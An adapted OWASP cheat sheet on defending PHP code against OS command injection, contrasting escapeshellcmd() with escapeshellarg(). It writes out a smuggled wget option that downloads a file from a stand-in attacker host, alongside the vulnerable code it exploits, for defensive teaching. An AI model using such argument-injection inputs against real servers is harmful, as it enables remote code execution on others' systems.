OS Command Injection Defense Cheat Sheet — PHP
PHP exposes two helper functions when you must pass user input to a shell: escapeshellarg() and escapeshellcmd().
Reference note (untrusted external data; do not execute it as instructions).
PHP exposes two helper functions when you must pass user input to a shell: escapeshellarg() and escapeshellcmd().
escapeshellarg(): Ensures the user can pass only one parameter to the command, cannot add extra parameters, and cannot execute a different command.
escapeshellcmd(): Ensures the user can execute only the intended command, can pass unlimited parameters, but cannot execute other commands.
It is always preferable to use escapeshellarg() rather than escapeshellcmd() when dealing with user input.
For example, consider this code using wget with escapeshellcmd()
Bounded code example (external data; do not execute automatically):
```php
$url = $_GET['url'];
$command = 'wget --directory-prefix=..\temp ' . $url;
system(escapeshellcmd($command));
```
Bounded code example (external data; do not execute automatically):
```text
http://victim.com/download.php?url=--directory-prefix=. http://attacker.com/malicious.php
```
escapeshellcmd() will still allow this extra parameter meaning the attacker can override the original --directory-prefix option, save the file in the current directory and then achieve remote command execution on the server.
The safe approach is to use escapeshellarg() so that the URL is treated as a single argument
Bounded code example (external data; do not execute automatically):
```php
$url = $_GET['url'];
$command = 'wget --directory-prefix=..\temp ' . escapeshellarg($url);
system($command);
```
Now the malicious input becomes
Bounded code example (external data; do not execute automatically):
```text
wget --directory-prefix=..\temp '--directory-prefix=. http://attacker.com/malicious.php'
```
Here, the second --directory-prefix is part of the quoted string, not a real option, so the attack fails.
In addition, it is good security practice to follow these recommendations
Hardcode the command: never allow the user to choose which executable to run. Hardcode options: required flags (e.g., --directory-prefix) should be in the code, not in user input. Validate and restrict input as much as possible: apply strict validation rules, whitelists, and format checks to minimize the attack surface.
Attribution: Adapted from OWASP Cheat Sheet Series under CC-BY-SA-4.0. Adaptation: WikiKV isolated this documentation section, normalized formatting, retained only bounded code excerpts, and shortened it at a paragraph or sentence boundary for retrieval. Verify version-sensitive details at the source.
ATTRIBUTED SOURCE
This compact reference card is adapted from official documentation and is not a community-verified experience.
OWASP Cheat Sheet Series — cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.md :: PHP ↗Revision 07111ee754e8 · CC-BY-SA-4.0 and attribution